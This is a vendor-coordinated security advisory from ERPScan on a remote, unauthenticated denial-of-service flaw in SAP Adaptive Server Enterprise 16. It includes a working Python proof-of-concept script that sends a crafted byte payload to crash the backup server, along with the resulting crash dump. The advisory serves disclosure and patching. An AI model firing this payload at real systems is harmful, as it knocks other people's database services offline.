Application: SAP Adaptive Server Enterprise Versions Affected: SAP Adaptive Server Enterprise 16 Vendor URL: http://SAP.com Bugs: Denial of Service Sent: 01.02.2016 Reported: 02.02.2016 Vendor response: 02.02.2016 Date of Public Advisory: 12.07.2016 Reference: SAP Security Note 2330839 Author: Vahagn Vardanyan(ERPScan) Description 1. ADVISORY INFORMATION Title: [ERPSCAN-16-028] SAP Adaptive Server Enterprise a DoS vulnerability Advisory ID: [ERPSCAN-16-028] Risk: high Advisory URL: https://erpscan.com/advisories/erpscan-16-028-sap-adaptive-server-enterprise-null-pointer-exception/ Date published: 12.17.2016 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: Denial of Service Impact: DoS Remotely Exploitable: yes Locally Exploitable: yes CVSS Information CVSS Base Score v3: 7.5 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) Low (L) PR : Privileges Required (Level of privileges needed to exploit) None (N) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality None (N) I : Impact to Integrity None (N) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION Anonymous attacker can send a special request to the SAP Adaptive Server Enterprise and crash the server. 4. VULNERABLE PACKAGES SAP Open Server 16.0 SP01, SP02 SAP ASE 16.0 SP01, SP02 SAP Replication Server SP207, SP209, SP210, SP3XX 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2330839 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION Proof of Concept Sending special request to the SAP Adaptive Server Enterprise 16 (backup server) can get crash the server. PoC import socket PoC = "\xe2\xf3\x00\x9d\x80\x8e\xf3\xa0" \ "\x80\xb4\x00\x81\xb0\x00\x00\x93" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x31\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x34\x31\x30\x35\x37\x32" \ "\x37\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00" s = socket.socket() s.settimeout(1) s.connect((SERVER_IP, SERVER_PORT)) s.send(PoC) print(PoC) s.close() ``` 0:019> r rax=0000000000000000 rbx=000000000097c000 rcx=0000000000000000 rdx=00000000010bf810 rsi=0000000000970a30 rdi=0000000000904cb0 rip=00000000004027b4 rsp=00000000010bf7f0 rbp=0000000000000000 r8=0000000000904c90 r9=0000000000904ca0 r10=0000000000000000 r11=0000000000000246 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 libsybcomn64!comn_symkey_set_iv+0x34: 00000000`004027b4 488b4820 mov rcx,qword ptr [rax+20h] ds:00000000`00000020=???????????????? ``` 8. REPORT TIMELINE Sent: 01.02.2016 Reported: 02.02.2016 Vendor response: 02.02.2016 Date of Public Advisory: 12.07.2016 9. REFERENCES https://erpscan.com/advisories/erpscan-16-028-sap-adaptive-server-enterprise-null-pointer-exception/ 10. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. 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